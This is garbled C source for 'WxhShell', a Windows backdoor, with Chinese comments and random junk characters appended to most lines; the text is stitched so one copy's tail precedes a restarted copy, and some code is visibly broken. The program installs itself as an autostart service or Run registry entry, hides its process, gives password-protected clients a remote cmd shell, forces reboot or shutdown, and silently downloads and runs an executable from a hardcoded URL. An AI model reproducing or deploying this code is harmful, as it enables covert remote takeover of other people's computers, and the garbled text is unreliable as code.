  // 关机 E{[>j'dwc  
  case 'd': { X92I==-w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nC#SnyUO  
    if(Boot(SHUTDOWN)) a0hgF_O1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fhs/<w-  
    else { _`xhP-,`S  
    closesocket(wsh); __)"-\w-_(  
    ExitThread(0); ,~XAV ;+  
    } 8FQNeQr  
    break; xhncQhf\  
    } FF#?x@N:  
  // 获取shell g\@zQ^O?  
  case 's': { >,n K  
    CmdShell(wsh); cEEnR1  
    closesocket(wsh); F& ['w-n%  
    ExitThread(0); JUTlJyx8  
    break; KqWO9d?w.  
  } Q-||A  
  // 退出 Q57Z~EsF  
  case 'x': { 0t)5KO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $2$jV1s  
    CloseIt(wsh); 3OJGBiDAr  
    break; 1b8}TG2  
    } }XRRM:B|)(  
  // 离开 B'D~Q  
  case 'q': { QMwV6cA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |S3wCG  
    closesocket(wsh); CA ,2&v"  
    WSACleanup(); P8GGN  
    exit(1); vJuL+'[i  
    break;  T_<:  
        } h]k1vp)Q y  
  } ^6 \@$   
  } sh}eKwh  
'HvJ]}p  
  // 提示信息 GX%r-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T,v5cc:nO  
} G[Jz(/yNH  
  } TGI`}#  
Y2(,E e2  
  return; ;et(Yi;9  
} ?1Uq ud  
;i&t|5y~  
// shell模块句柄 r\m2Oo)]  
int CmdShell(SOCKET sock) !GtCOr\'  
{ Ol*|J  
STARTUPINFO si; =${ImMwj  
ZeroMemory(&si,sizeof(si)); # 0/,teJ k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6R!AIOD>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'PdUSv|lH  
PROCESS_INFORMATION ProcessInfo; .a}!!\@  
char cmdline[]="cmd"; ^fvx2<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qino:_g  
  return 0; Q$~_'I7~Mz  
} ?wMS[Kj  
~uEI}z  
// 自身启动模式 [k7 ;^A5/  
int StartFromService(void) (2r808^2  
{ \7 }{\hY-  
typedef struct 'BNZUuUl  
{ ShMP_?]P  
  DWORD ExitStatus; saR9_ ux  
  DWORD PebBaseAddress; uar[D|DcD"  
  DWORD AffinityMask; L7s _3\  
  DWORD BasePriority; poXT)2^)  
  ULONG UniqueProcessId; MMf_  
  ULONG InheritedFromUniqueProcessId; BXLw  
}   PROCESS_BASIC_INFORMATION; jW]Fx:mQi  
iayxN5,  
PROCNTQSIP NtQueryInformationProcess; }K9Ji]tOK:  
7OLchf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8V+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ':|?M B  
dt(Lp_&v  
  HANDLE             hProcess; #YB3Ug]z  
  PROCESS_BASIC_INFORMATION pbi; )!d_Td\-  
bdvVPjGc&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OCI{)r<O2m  
  if(NULL == hInst ) return 0; 0Y/k /)Ul]  
ou [Wz{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \$2zF8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xvn \~Vr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3y-P-NI~=  
}62Q{>`  
  if (!NtQueryInformationProcess) return 0; $"`e^J9!!  
TV(%e4U=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <"!'>ZUt  
  if(!hProcess) return 0; P;p;o]  
sW!MVv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (t"rzH  
5z"[{ #/  
  CloseHandle(hProcess); Ms=11C  
-A1:S'aN-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o.>Yj)U  
if(hProcess==NULL) return 0; =<z~OE'lV  
PF: E{_~  
HMODULE hMod; :6}cczQE|O  
char procName[255]; ^tl&FWF  
unsigned long cbNeeded; 1:Xg&4s  
p&3~n: Fo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bE2{^5iG  
A9M/n^61  
  CloseHandle(hProcess); RJLhR_t7n  
#oEq)Vq>g|  
if(strstr(procName,"services")) return 1; // 以服务启动 (eO_]<wmky  
q4ej7T8  
  return 0; // 注册表启动 @{x+ln1r  
} ;Yn_*M/*  
EtA,ow  
// 主模块 u|\K kk  
int StartWxhshell(LPSTR lpCmdLine) @1)C3(=A  
{ 7kQ,D,c'  
  SOCKET wsl; -|_io,eL;  
BOOL val=TRUE; Fo&ecWhw  
  int port=0; kud2O>>  
  struct sockaddr_in door; <& =3g/Y  
gYfOa`k  
  if(wscfg.ws_autoins) Install(); ^uIKwql  
73(5.'F  
port=atoi(lpCmdLine); %)j^>W5  
d(6&kXK  
if(port<=0) port=wscfg.ws_port; zK&J2P`  
f9J]-#Iif  
  WSADATA data; u %&4[zb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~,reS:9RZ  
{aWfD XB1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~Ec@hz]js  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tq5o  
  door.sin_family = AF_INET; +yIO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,\E5et4  
  door.sin_port = htons(port); WvHy}1W  
IR<*OnKn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nF{>RD  
closesocket(wsl); p0j-$*F  
return 1; dF0:'y  
} Kw,ln<)2  
}#9 |au`  
  if(listen(wsl,2) == INVALID_SOCKET) { `pYL/[5  
closesocket(wsl); 3Tr}t.mt  
return 1; ,:"c"   
} PoRL35  
  Wxhshell(wsl); M@O<b-  
  WSACleanup(); T eBJ  
S3_QOL  
return 0; =!PUKa3f<  
5b%zpx0Y  
} 7\JA8mm  
s&Qil07 Vl  
// 以NT服务方式启动 !8Q9RnGn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (1?k_!)T  
{ wq`\p['Q,  
DWORD   status = 0; p?eQN Y  
  DWORD   specificError = 0xfffffff; HZzdelo  
,Y2){8#l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +0FmeM&`h_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ov8{ny  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; px.]m-  
  serviceStatus.dwWin32ExitCode     = 0; aFwfF^\(|,  
  serviceStatus.dwServiceSpecificExitCode = 0; fO$~jxR.  
  serviceStatus.dwCheckPoint       = 0; cLCzLNyKl  
  serviceStatus.dwWaitHint       = 0; *saO~.-;4  
D`r_ Dz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {t&+abY  
  if (hServiceStatusHandle==0) return; p&,2@(Q  
3W}xYYs] ^  
status = GetLastError(); #ui7YUR=2  
  if (status!=NO_ERROR) ] e]l08  
{ v0S7 ]?_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sh RkL<  
    serviceStatus.dwCheckPoint       = 0; ]; G$~[  
    serviceStatus.dwWaitHint       = 0; pM7xnL4  
    serviceStatus.dwWin32ExitCode     = status; jRzQ`*KC#  
    serviceStatus.dwServiceSpecificExitCode = specificError; E| =~rIKN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D1<$]r,  
    return; t"Djh^=y  
  } j 1#T]CDs  
_gi?GQj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L[9]Ez$2+  
  serviceStatus.dwCheckPoint       = 0; s7TV@Y)  
  serviceStatus.dwWaitHint       = 0; h` $2/%?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KmlpB  
} \m;"KyP+  
xT1{O`  
// 处理NT服务事件,比如:启动、停止 p&ml$N9fd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v_Y'o _  
{ j=,]b6(  
switch(fdwControl) WgQ6EV`  
{ 3RTraF  
case SERVICE_CONTROL_STOP: Gm1vVHAxv  
  serviceStatus.dwWin32ExitCode = 0; )0NE_AZ?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w/m ~#`a  
  serviceStatus.dwCheckPoint   = 0; DV!) n 6  
  serviceStatus.dwWaitHint     = 0; d ;W(Vm6  
  { 5UHxB"`C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h *-j  
  } =1Mh %/y  
  return; 7lz"^  
case SERVICE_CONTROL_PAUSE: jNA^ (|:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d>qxaX;  
  break; |);-{=.OdQ  
case SERVICE_CONTROL_CONTINUE: <xeo9'k6&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y*5bF 0  
  break; Gd 5J<K  
case SERVICE_CONTROL_INTERROGATE: Q.G6 y,KR  
  break; u2xb^vu  
}; L E>A|M$X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y}bE'Od  
} *T'>-nm]  
s8<)lO<SV.  
// 标准应用程序主函数 x=(cQmQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .\> I-  
{ e.IKmH]z  
=K2mR}n\;  
// 获取操作系统版本 #7A_p8  
OsIsNt=GetOsVer(); hup< U+p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zbDM+;  
' Z}/3 dp  
  // 从命令行安装 Dj9).lgc  
  if(strpbrk(lpCmdLine,"iI")) Install(); q={\|j$X  
]}&f<X  
  // 下载执行文件 $lMEZt8A  
if(wscfg.ws_downexe) { r%/*,lLO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H]7;O M/g  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3yfq*\_uXw  
} a jCx"J  
yS[Z%]bvU  
if(!OsIsNt) { c{u~=24;%#  
// 如果时win9x,隐藏进程并且设置为注册表启动 4F+n`{~  
HideProc(); DEw_dOJ(  
StartWxhshell(lpCmdLine); kt;| $  
} H `V3oS~}  
else (fjAsbT  
  if(StartFromService()) ] 7, mo  
  // 以服务方式启动 6DG:imGl  
  StartServiceCtrlDispatcher(DispatchTable); 'B>%5'SdD  
else p ft6 @ 'q  
  // 普通方式启动 iPxhDn<B  
  StartWxhshell(lpCmdLine); .hxcx>%  
u9*}@{,  
return 0; xNh#=6__9  
} dik+BBu5z  
xED`8PCfu  
8@|rB3J  
}'KVi=qnHb  
=========================================== VBIY[2zf  
x^| J-  
e:Zc-  
0pS|t/h0  
]r{-K63P{!  
<z*SO a  
" w$cic  
oO4 Wwi  
#include <stdio.h> l*|^mx^Q  
#include <string.h> G w$sL&1m\  
#include <windows.h> 2>3gC_^go  
#include <winsock2.h> e%'$Vx0kA  
#include <winsvc.h> :H$D-pbJ4  
#include <urlmon.h> 6N&S3<c4JO  
$GyO+xF  
#pragma comment (lib, "Ws2_32.lib") _ G!lQ)1  
#pragma comment (lib, "urlmon.lib") [y73 xF   
onM ~*E  
#define MAX_USER   100 // 最大客户端连接数 bqXCe\#  
#define BUF_SOCK   200 // sock buffer AFWcTz6#d  
#define KEY_BUFF   255 // 输入 buffer lGI5  
6s833Tmb&r  
#define REBOOT     0   // 重启 7R mL#f`  
#define SHUTDOWN   1   // 关机 :4"SJ  
+b.qzgH>r  
#define DEF_PORT   5000 // 监听端口 VJX{2$L  
XB)e;R  
#define REG_LEN     16   // 注册表键长度 7 N?x29  
#define SVC_LEN     80   // NT服务名长度 `MgR/@%hr  
`CI9~h@k  
// 从dll定义API \guZc}V]:\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )*I=>v.Jq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %6}S'yL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mN^92@eebC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {6v|d{V+e  
/vl]Oa&U  
// wxhshell配置信息 {R7>-Y[4)2  
struct WSCFG { nu] k<^I5|  
  int ws_port;         // 监听端口 ={?}[E  
  char ws_passstr[REG_LEN]; // 口令 O/wl";-  
  int ws_autoins;       // 安装标记, 1=yes 0=no I72UkmK`  
  char ws_regname[REG_LEN]; // 注册表键名 Z1FO.[FV  
  char ws_svcname[REG_LEN]; // 服务名 zi23k=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M#JOX/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SzR0Mu3uK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [IVT0 i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Sq&*K9:z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H(ht{.sjI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )EYsqj  
%Yg;s'F>#q  
}; j=)Cyg3_%  
z0Vd(QL  
// default Wxhshell configuration 2B_6un];W  
struct WSCFG wscfg={DEF_PORT, ;^ :9huN  
    "xuhuanlingzhe", c h<Fi%)  
    1, GV1\8OG7  
    "Wxhshell", QeA)@x.p  
    "Wxhshell",  K6kPNi  
            "WxhShell Service", kx 'ncxN~  
    "Wrsky Windows CmdShell Service", :b;2iBVB  
    "Please Input Your Password: ", YNbs* i&  
  1,  O+1 e  
  "http://www.wrsky.com/wxhshell.exe", +vkqig  
  "Wxhshell.exe" 5n r}5bum  
    }; hA?j"y0?  
sJX/YGHt  
// 消息定义模块 >U^AIaW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !arcQ:T@G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YWeEvo(,=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +~=>72/r  
char *msg_ws_ext="\n\rExit."; p 8BAan3  
char *msg_ws_end="\n\rQuit."; g# :|Mjgh  
char *msg_ws_boot="\n\rReboot..."; {a9Z<P  
char *msg_ws_poff="\n\rShutdown..."; ??{(.`}R~  
char *msg_ws_down="\n\rSave to "; -8qLshQ  
9Ps:]Kp!vN  
char *msg_ws_err="\n\rErr!"; fcb:LPk;  
char *msg_ws_ok="\n\rOK!"; Tfhg\++u  
@QtJ/("&WC  
char ExeFile[MAX_PATH]; /a6\G.C5  
int nUser = 0; *}3e'0`  
HANDLE handles[MAX_USER]; *Xt#04_  
int OsIsNt;  r_]wa  
\~Zj](#  
SERVICE_STATUS       serviceStatus; E$/`7p8)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3=) /-l  
z-uJ+SA  
// 函数声明 zzuDI_,/  
int Install(void); B4R!V!Z*  
int Uninstall(void); 'g#Ml`cm  
int DownloadFile(char *sURL, SOCKET wsh); Wt"@?#L  
int Boot(int flag); n.67f  
void HideProc(void); iwCnW7:  
int GetOsVer(void); Es zwg  
int Wxhshell(SOCKET wsl); 8[,,Kr)-  
void TalkWithClient(void *cs); A$A7 F=x  
int CmdShell(SOCKET sock); oo3ZYA  
int StartFromService(void); x2/|i? ZO  
int StartWxhshell(LPSTR lpCmdLine); LLg ']9  
TclZdk]%T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g8mVjM\B;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wCeSs=[  
>DQl&:-)t  
// 数据结构和表定义 7'j?GzaQ+  
SERVICE_TABLE_ENTRY DispatchTable[] = 8 +xLi4Pw  
{ WE4:Jy  
{wscfg.ws_svcname, NTServiceMain}, g GN[AqR  
{NULL, NULL} 0F`@/C1y55  
}; E@"+w,x)  
<!K2xb-d^  
// 自我安装 Y:G6Nd VFM  
int Install(void) gPe*M =iF  
{ 0gHJ%m9s  
  char svExeFile[MAX_PATH]; k\Oy\z@  
  HKEY key; ):&A\nb  
  strcpy(svExeFile,ExeFile); >9F,=63A  
DyG3|5s1R  
// 如果是win9x系统,修改注册表设为自启动 8;p6~&).C~  
if(!OsIsNt) { kX\t0'=]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J7emoD [  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Zzh.z::D  
  RegCloseKey(key); %fh ,e5(LT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *FR Eh@R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;%]Q%7  
  RegCloseKey(key); C>N)~Ut  
  return 0; 1]fqt[*)  
    } :cG_aO kid  
  } sqei(OXy  
} i5|A\Wv"  
else { ~m[^|w  
+uKlg#wqc  
// 如果是NT以上系统,安装为系统服务 :74^?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ( E&}SI~  
if (schSCManager!=0) '\l(.N  
{ k  5xzC&  
  SC_HANDLE schService = CreateService 6"[`"~9'V  
  ( WUGPi'x  
  schSCManager, sBu=@8R]y  
  wscfg.ws_svcname, mR[J Xh9s  
  wscfg.ws_svcdisp, ?nB).fc  
  SERVICE_ALL_ACCESS, f_9%kEXICt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N|z-s  
  SERVICE_AUTO_START, joAR;J  
  SERVICE_ERROR_NORMAL, {08UBnR  
  svExeFile, iF{eGi  
  NULL, 9/{+,RpC  
  NULL, ai`fP{WlX  
  NULL, f<uLbJ6  
  NULL, g!V;*[  
  NULL 8Y sn8  
  ); ~{*FjZ`h  
  if (schService!=0) D^04b< O<x  
  { f 7y1V(t  
  CloseServiceHandle(schService); ^;c!)0Q<Z  
  CloseServiceHandle(schSCManager); p44d&9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6fY(u7m|p  
  strcat(svExeFile,wscfg.ws_svcname); hqFK2 lR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =YB3^Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BGodrb1  
  RegCloseKey(key); wP6~HiC  
  return 0; $oH?oD1  
    } ZdlZ,vK^.  
  } _V1O =iu-  
  CloseServiceHandle(schSCManager); b@Ik c<  
} -mO[;lO  
} iwJBhu0@#  
E%3WJ%A  
return 1; lK9us  
} 5sM-E>8G^{  
' ,a'r.HJH  
// 自我卸载 WsL*P .J  
int Uninstall(void) d&w g\"E  
{ O=MO M  
  HKEY key; pxM^|?Hxc  
X{9D fgW  
if(!OsIsNt) { x{Gb4=?l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TRcY!  
  RegDeleteValue(key,wscfg.ws_regname); :upi2S_e  
  RegCloseKey(key); \Z ] <L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O:+#k-?  
  RegDeleteValue(key,wscfg.ws_regname); <3LyNG.  
  RegCloseKey(key); KU"? ZI  
  return 0; y!1%Kqx1,n  
  } l-XiQ#-{  
} {uL<$;#i  
} :w#Zs)N  
else { ya5;C"   
pTST\0?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {Rc/Ten  
if (schSCManager!=0) &%>l9~F'~  
{ 37v!:xF!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z=N'evx~  
  if (schService!=0) AVOzx00U  
  { Ii?<Lz  
  if(DeleteService(schService)!=0) { & *B@qQ  
  CloseServiceHandle(schService); AGx]srl  
  CloseServiceHandle(schSCManager); a"b9h{h@  
  return 0; 9<.FwV >  
  } F6}Pwz[c  
  CloseServiceHandle(schService); DFwkd/3"  
  } F8Rd#^9PD  
  CloseServiceHandle(schSCManager); )V!9&  
} X'TQtI  
} /wljb b/s  
?>1AT ==wI  
return 1; 7;5?2)+=6  
} T6Z2 #  
a^~T-;_V  
// 从指定url下载文件 ES;7_.q  
int DownloadFile(char *sURL, SOCKET wsh) "e69aAA,  
{ q+19EJ(  
  HRESULT hr; [~W"$sT  
char seps[]= "/"; Zuo7MR  
char *token; {<\nl#}5S  
char *file; R^1sbmwk  
char myURL[MAX_PATH]; [0lCb"  
char myFILE[MAX_PATH]; 'D1 T"}  
-=&r}/&  
strcpy(myURL,sURL); 2wlrei  
  token=strtok(myURL,seps); !Z YMks4  
  while(token!=NULL) - A x$Y  
  { =V5<>5"M?  
    file=token; U8c0N<j  
  token=strtok(NULL,seps); _.' j'j%  
  } HN7(-ml=B  
6m_Y%&   
GetCurrentDirectory(MAX_PATH,myFILE); pT>[w1Kk^  
strcat(myFILE, "\\"); <?yAIhgN*  
strcat(myFILE, file); 8do]5FE  
  send(wsh,myFILE,strlen(myFILE),0); f` 2W}|(jA  
send(wsh,"...",3,0); U)=StpTT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B0?E$8a  
  if(hr==S_OK) |+~CdA  
return 0; Pg{Dy>&2`I  
else pZ/x,b#.  
return 1; 7 }4T)k(a  
C;0H _  
} 4rO07)~l  
b*',(J94  
// 系统电源模块 RgHPYf{  
int Boot(int flag) 9.m_3"s  
{ S:v]3G  
  HANDLE hToken; _ "&b%!  
  TOKEN_PRIVILEGES tkp; y"#o9"&>&  
>)R7*^m{'  
  if(OsIsNt) { IiHl"2+/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3Nd&*QSV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )-xx$0mL-  
    tkp.PrivilegeCount = 1; R^iF^IB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M9.jJf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H1yl88K  
if(flag==REBOOT) { mQ;b'0&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f$Nz).(  
  return 0; Pp7}|/  
} I5mnV<QA^  
else { >2x[ub%$L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gw:8-bxS  
  return 0; WNrgqyM  
} skh6L!6*<  
  } b/:9^&z  
  else { v?,_SVgAi  
if(flag==REBOOT) { G%Hr c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a}|B[b  
  return 0; - K0>^2hh  
} hk3}}jc  
else { 0.'$U}#b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z2vrV?:  
  return 0; OIGu`%~js  
} -GLI$_lLF  
} n2zJ'  
26B]b{Iz{  
return 1; gtHWd;1&f  
} v#q7hw=  
4:.yE|@h[  
// win9x进程隐藏模块 z|^:1ov,  
void HideProc(void) 3,DUT{2  
{ :aI[ lZ  
1Jg&L~Ws"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y2;uG2IS_g  
  if ( hKernel != NULL ) yDg`9q.ckm  
  { =e=sK'NvD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3.Z}2F]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @d:TAwOI'  
    FreeLibrary(hKernel); #!wu}nDu  
  } qPDe;$J)  
}enm#0Ha  
return; PN:/lIO  
} H:Y?("k  
@W[`^jfQ  
// 获取操作系统版本 f]W$4f {  
int GetOsVer(void) %ZF47P%6  
{ [v ( \y  
  OSVERSIONINFO winfo; Q'/v-bd?o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /FJ )gQYA  
  GetVersionEx(&winfo); Aj((tMJNOw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JnQ5r>!>3  
  return 1; _LU]5$\b  
  else = &jLwy  
  return 0; =Y Je\745  
} h}r.(MVt  
U2 m86@E  
// 客户端句柄模块 m>B^w)&C  
int Wxhshell(SOCKET wsl) hg[ob+"  
{ %"B+;{y(5  
  SOCKET wsh; L9ECF;)  
  struct sockaddr_in client; MKzIY:u g  
  DWORD myID; O W`yv  
M6 l S2  
  while(nUser<MAX_USER) !E"&#>r  
{ Y` t-Bg!~  
  int nSize=sizeof(client); Teh _  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +AkAMZ"Mg  
  if(wsh==INVALID_SOCKET) return 1; 8 SFw|   
YaU)66=u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ox9WH4E  
if(handles[nUser]==0) l&#&}3M  
  closesocket(wsh); CzDJbvv ]  
else NrA?^F  
  nUser++; zV {_dO  
  } 'qel3Fs"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )RV.N}NU  
<*k]Aa3y  
  return 0; uU_lC5A|  
} ;%wQnhg  
6+`+$s0  
// 关闭 socket _=l8e-6r  
void CloseIt(SOCKET wsh) 3"afrA  
{ d h5%  
closesocket(wsh); |:)UNb?R"O  
nUser--; C]H'z  
ExitThread(0); o+Cd\D69S  
} "g}mxPe  
x[L/d"Wf  
// 客户端请求句柄 >F7v'-*{  
void TalkWithClient(void *cs) <g9@iUOI  
{ ]$7dkP  
4 :m/w!q$  
  SOCKET wsh=(SOCKET)cs; d0ZbusHHb  
  char pwd[SVC_LEN]; QE8;Jk-  
  char cmd[KEY_BUFF]; kq +`.  
char chr[1]; 2smQD8t  
int i,j; k6.<zs0  
93I.Wp_{  
  while (nUser < MAX_USER) { >Z%qkU/  
$7\Al$W\  
if(wscfg.ws_passstr) { BhFyEY(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f-]5ZhM'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~d5f]6#`  
  //ZeroMemory(pwd,KEY_BUFF); q8 jI y@  
      i=0; +2X q+P  
  while(i<SVC_LEN) { '1rHvz`B/"  
RC{|:@]8  
  // 设置超时 .zDm{_'  
  fd_set FdRead; |Iq#Q3w  
  struct timeval TimeOut; )S~ySiJ<U  
  FD_ZERO(&FdRead); ]CL t Km  
  FD_SET(wsh,&FdRead); &4]~s:F  
  TimeOut.tv_sec=8; #i6ZY^+ee  
  TimeOut.tv_usec=0; Iq/V[v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Y"j 0Yob  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f\c m84  
v>ygr8+C,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fT$Fv  
  pwd=chr[0]; FH Hi/yh  
  if(chr[0]==0xd || chr[0]==0xa) { (c3%rM m]  
  pwd=0; >U4hsr05  
  break; w&U>w@H^  
  } 4<c #3]  
  i++; ( q8uB  
    } qC|$0  
q,ur[ &<  
  // 如果是非法用户,关闭 socket JIJ79HB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P`ZYm  
} 7R4xJ H  
-`d9dJ dB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `-,yJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <OR f{  
Y#[Wv1hi  
while(1) { -XcX1_  
:Ca]/]]  
  ZeroMemory(cmd,KEY_BUFF); ;_]Z3  
e3YdHp  
      // 自动支持客户端 telnet标准   I{rW+<)QGC  
  j=0; ^TWMYF-  
  while(j<KEY_BUFF) { 85fv])\y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E 0k1yA  
  cmd[j]=chr[0]; 7E 4Xvg+c  
  if(chr[0]==0xa || chr[0]==0xd) { HW,2x}[  
  cmd[j]=0; .WeP]dX%:f  
  break; o>G^)aRa  
  } /C: rr_4=  
  j++; FXF#v>&  
    } zG%ZDH^82_  
N7}Y\1-8  
  // 下载文件 cbHb!Lbg  
  if(strstr(cmd,"http://")) { ueimTXk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aC9PlKI  
  if(DownloadFile(cmd,wsh)) DnY7$']"|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PNn- @=%  
  else 4R8W ot  
